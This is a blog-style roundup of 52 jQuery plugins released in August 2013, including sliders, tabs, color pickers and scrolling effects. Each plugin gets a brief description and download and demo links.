There are indeed thousands of plugins available online but surfing the web for long to find the best bet for yourself can be bit too time consuming. If you are the one who wishes to keep the track of these jQuery Plugins rolled out every now and have time crunch then I am sure you know what’s the deal. Each week we post best jQuery plugins for you all to check out and download the ones you find useful for your task handling. Incase, that too is a big hassle then here we have come up with the list of Best jQuery plugins on monthly basis too.

best-jquery-plugins-2013

Take a closer look at the best and latest jQuery plugins of August 2013 that we have selected for you.

Best jQuery Plugins of August 2013

1. Digital Slideshow

Digital Slideshow is a jQuery Plugin that can be used in opensource commercial projects and is available for free download.

best-jquery-plugins

Download Demo

2. jQuery.BgSwitcher

As the name hints its a jQuery plugin that enables the users to switch the background image with effect.

best-jquery-plugins

Download Demo 

3. jQuery.Feyn

Feyn is a jQuery plugin to let you draw Feynman diagrams with Scalable Vector Graphics (SVG). Fully loaded with cool features, this plugin asks you to first load the scripts found in the distribution to proceed further. Without loading the scripts it in not possible for any person to use this plugin.

best-jquery-plugins

Download Demo 

4. AnimatedScroll.js

AnimatedScroll.js developed by Yevhen Tiurin is a jQuery plugin that enables smooth, animated document scroll to a specific element, supporting native jQuery UI easings.

best-jquery-plugins

Download Demo 

5. Glowspot background hover effect 

Glowspot background hover effect by Graham Breach as the name hints displays a glowing area in the background of the selected elements using an HTML5 canvas. Move your cursor over the tabs above to see the effect. This work in Firefox, Chrome, Opera, IE9 and Safari.

best-jquery-plugins

Download Demo 

6. jQuery Wikipedia

jQuery plugin is for easy reloading of data from Wikipedia about Wikipedia API using JSON. It is important to pass the invite to a Wikipedia page title.

best-jquery-plugins

Download

7. jQuery Nice file Input

The jQuery Nice File Input Plugin by Jaydev Gajera provide batter looking file input HTML element besides making all kinds of customizations to fit your application without any fuss.

best-jquery-pluginsDownload | Demo

8. EasyDataTable AJAX Pagination jQuery plugin

EasyDataTable AJAX pagination plugin by ray is simple, clear, easy to use, flexible, comprehensive, has its own tabs, supports sorting and much more.

best-jquery-plugins

Download Demo

9. AnimateScroll

AnimateScroll by Ram Swaroop is a jQuery plugin that allows users to scroll to any part of the page in style easily by animatescroll function with the Id of the element where you want to scroll to. The best part is that it supports more than 30 unique scrolling styles.

best-jquery-pluginsDownload Demo 

10. 3dEye.js

3dEye.js by Paul Shan is a lightweight jQuery plugin has the ability to make a 3D view of an object with minimal effort. This plugin is cross browser supportable, and runs smoothly in iOS and Android.

best-jquery-plugins

Download |Demo 

11. Starscroll – A parallax scrolling starfield

Starscroll is a jQuery plugin that adds a fullscreen starfield, generated in canvas, controlled by css to any div. The parallax responds when user scrolls.

best-jquery-plugins

 Download Demo 

12. Juicy Slider

Juicy Slider by Van Ting is a responsive slider/slideshow plugin for jQuery. This jQuery plugin adjusts image size by computing the corresponding aspect ratio of images and viewport.  best-jquery-plugins

 Download Demo

13.flipLightBox – Responsive Lightbox jQuery Plugin

flipLightBox is a responsive Lightbox that is extremely easy to implement and doesn’t require additional stylesheets, scripts or libraries.

best-jquery-plugins

Download |Demo

14. jQuery Matt Tabs

jQuery Matt Tabs by Matt Hall is a simple jQuery plugin that enables users to create tabbed interfaces.

best-jquery-pluginsDownload Demo

15. jQuery URL Shortener

As the name clearly hints jQuery URL Shortener plugin helps in shortening URLs using Google URL shortener API.

best-jquery-plugins

Download Demo

16. Retinize

Retinize is a jQuery plugin that helps in upscaling images to give that perfect looks correctly on retina screens and is particularly useful for pixel art when you don’t want to store an upscaled version.

best-jquery-pluginsDownload Demo

17. jQuery Scrollbox

jQuery Scrollbox is a simple and lightweight jQuery plugin that allows users to scroll a list like carousel or traditional marquee.

best-jquery-pluginsDownload Demo

18. jQuery finderSelect

jQuery finderSelect is a jQuery plugin that activates file explorer type selecting to all elements supports Ctrl+Click, Command+Click, Ctrl+Drag, Command+Drag and Shift+Click.

best-jquery-pluginsDownload Demo

19. Yet Another DataTables Column Filter (Yadcf)

Yadcf is a jQuery plug-in lets users easily add filter components to table columns and works on top of the DataTables jQuery plug-in.

best-jquery-plugins

Download Demo

20. jQuery noInput

Developed by Harold S. Henry its a jQuery plugin that displays inline labels similar to HTML 5′s placeholders that lets you style the placeholder text.

best-jquery-plugins

Download Demo

21. HeapBox

As a webdesigner/webdeveloper you know how hard it is to deal with native HTML forms look or functionality. Heapbox is a jQuery powered by jQuery helps write JavaScript with ease.

 best-jquery-plugins

Download Demo

22. QUAIL

Quail by Kevin Miller is a plugin that focuses on checking content against accessibility guidelines.

best-jquery-plugins

Download Demo

23. jQuery Tippy

Tippy is a jQuery plugin that makes it very easy for the users to create simple, flexible and powerful tooltips for website using jQuery. It is a customizable plugin with default options carefully configured to make it easy for anyone to get started.

best-jquery-plugins

Download Demo

24. jQuery Color Picker Sliders

jQuery Color Picker Sliders is an advanced color selector with support for human perceived lightness. The plugin promises to work in all modern browsers and on touch devices and it’s responsive. This color picker sliders works internally in the CIE Lab color space represented with the CIE Lch color model.

best-jquery-plugins

Download | Demo

25. SKDZoom – Stylish image zoomer

SKDZoom is a jQuery stylish CSS3 image zoomer that comes with rounded box and Lens zoom support, easily customizable color and other options.

best-jquery-plugins

Download Demo

26. jquery tags plugin

jQuery tags plugin promises to help developers visualize their tags in a neat user interface that too with just a single line of code.

best-jquery-plugins

Download

27. Simple HTML5 Music Player

Simple HTML5 Music Player is a plugin dedicated to music lovers. Its a skin-able HTML5 Audio player that offers a custom design alternative to the generic browser rendered player.

best-jquery-plugins

Download

28. jQuery Dashboard Portal

jQuery plugin for Dashboard with layout lets users add forms, presentation, an manage projects depending upon the need.

best-jquery-plugins

Download Demo

29. Image Scale

Inspired from Sproutcore SC.ImageView, the image scale jQuery plugin lets you scale images with ease besides letting you fit or fill any target container through two simple properties viz scale and align.

best-jquery-plugins

Download

30. Flapper

Flapper is a jQuery plugin that replicates the split-flap well known as Solari displays that are common in train stations and airports. Flapper jQuery plugin helps display words or numbers with or without formatting them. Available in six sizes, two color themes, and two animation styles Flapper is written in HTML and CSS to let users customize it the way they want.

best-jquery-plugins

Download Demo

31. Ideal Postcodes jQuery Plugin

Ideal Postcodes jQuery plugin allows the users to quickly add postcode lookups on a form using Royal Mails Postcode Address File. For a valid postcode, a dropdown menu is displayed and the selected address is piped into appropriate fields to let users check the postcodes with ease.

best-jquery-plugins

Download Demo

32. FailSafe

FailSafe is a jQuery Plugin that makes your App Robust besides protecting your App from lost Internet connectivity and low battery level. When a user loses Internet connectivity or the system charge goes down, the FailSafe plugin shows a very user-friendly message to the user.
best-jquery-plugins

 Download Demo

33. Albumize

Albumize by palerdot is a jQuery plugin that lets users manage their collection of images in the web page as albums. Besides, this plugin lets  you browse albums, add cover image to albums and switch between albums with ease.

best-jQuery-Plugins

Download | Demo

34. ScrollNav

ScrollNav is a small, lightweight jQuery plugin that enables adding of auto-hiding navbar to the websites. Promising to work best with BootStrap based websites, this is a plugin that makes your navigation bar act as a static navbar while scrolling down the page and an absolutely positioned navbar while scrolling up the page.

best-jQuery-Plugins

Download Demo

35. jQuery Selz

Its a jQuery plugin to open Selz product hyperlinks in overlay and enables your visitors complete their purchase directly onto your site. The key philosophy behind this plugin is that selling and getting paid should be simple and easy.

best-jQuery-Plugins

Download Demo

36. jQuery Responsive Tabs

Tabs widgets can be a very useful web element for grouping data on a web page. Developed by Jelle Kralt, jQuery Responsive tabs is a plugin that provides responsive tab functionality.

best-jQuery-Plugins

Download Demo

37. jQuery Rotate

jQuery Rotate by Jakub Jankiewicz is a simple plugin that add css rotate property and animation.

best-jQuery-Plugins

Download Demo

38. jQuery shiner

jQuery Shiner is a plugin that changes the opacity of the items in a list to give them impression of a cross-fading slide show. It  can be used for a simple slideshow by using visibility and css3 transitions.

best-jQuery-Plugins

Download | Demo

39. Shuffle.js

Developed by Glen Cheney, Shuffle.js plugin helps in categorizing, sorting, and filtering a responsive grid of items  and laying out a group of items. Its a responsive and fast plugin that promises to make your task easier.

best-jQuery-Plugins

Download Demo

40. jQuery TextFit

Samuel Reed developed a jQuery plugin for letting users fit text to a box of any size without having to make any compromise with style.

best-jQuery-Plugins

Download | Demo

 41. Pan and zoom jQuery

Pan and zoom by Damien Corzani is a jQuery plugin that allows users to manage zooming and moving on a given dom element.

best-jQuery-Plugins

Download Demo

42. Free charts and graphs for HTML5, JQuery and Javascript

jChartFX is a powerful HTML5-compliant charting component that is designed to leverage the power of jQuery, CSS and SVG capabilities to deliver aesthetically superior charts and a richer end user experience, thereby providing complete collection of charts and graphs for professional data visualization and analysis.

best-jQuery-Plugins

Download | Demo

43. jQuery Micro

jQuery Micro by Jakub Jankiewicz is a Pico/Nano Like Editor for the web.

best-jQuery-Plugins

Download | Demo

44. Balanced Gallery

Balanced Gallery by Ryan Epp is a jQuery plugin that evenly distributes photos across rows or columns making the most of the space provided. This jQuery plugin scales the photos based on the size of the container element by default making it a great choice for responsive websites.

best-jquery-plugins

Download | Demo

45. Tabslet

Developed by Dimitris Krestos Tabslet is a jQuery plugin for tabs with extra cool features. The plugin is loaded with features like change tabs on mouse over, use animation effect for tabs’ changing, ability to use either href or alt attribute to target tab, rotation, custom events and lots more.

best-jquery-plugins

 Download | Demo

46. jQuery Item Selector

jQuery Item Selector plugin by Mickael Maison is developed to select items using the jQueryUI accordion widget.

best-jquery-plugins

Download | Demo

47. infiniteScroll – JQuery plugin for ajax-enabled infinite page scroll / auto paging

infinteScroll by Sergey Glukhov is a simple plugin that makes ajax call to load data on the page and gives some basic callbacks like data loading started or data did loaded.

Download

48. jquery.ytLoad

Developed by Tobias Anhalt, ytLoad is a youtube inspired, simple, lightweight jQuery plugin that enables users visualize ajax progress.

 best-jquery-plugins

Download | Demo

49. jQuery MyPlaces

jQuery MyPlaces by somospnt uses Google Maps API to help users locate and display a set of determined places on the map.

best-jquery-plugins

Download | Demo

50. colpick Color Picker

This jQuery plugin by Jose Vargas is a simple lightweight Photoshop-like color picker developed specifically for designers.

best-jquery-plugins

Download | Demo 

51. jQuery Video Lightning

Developed by Andrew Carpenter  video lightning is a simple jQuery plugin that turns any element into a lightbox / popover link for Youtube and Vimeo videos.

best-jquery-plugins

Download | Demo 

52. jQuery confirm on exit plugin

How furious it is to lose all the data you just entered by clicking on a link or closing the window without pressing Send unintentionally. jQuery confirm on exit plugin helps you by making sure to ask you to confirm before exiting.

best-jquery-plugins

Download | Demo  

This genuinely is a vast list of useful and best jQuery plugins of August 2013 that certainly will help you handle different projects. Keep yourself posted for more latest updates!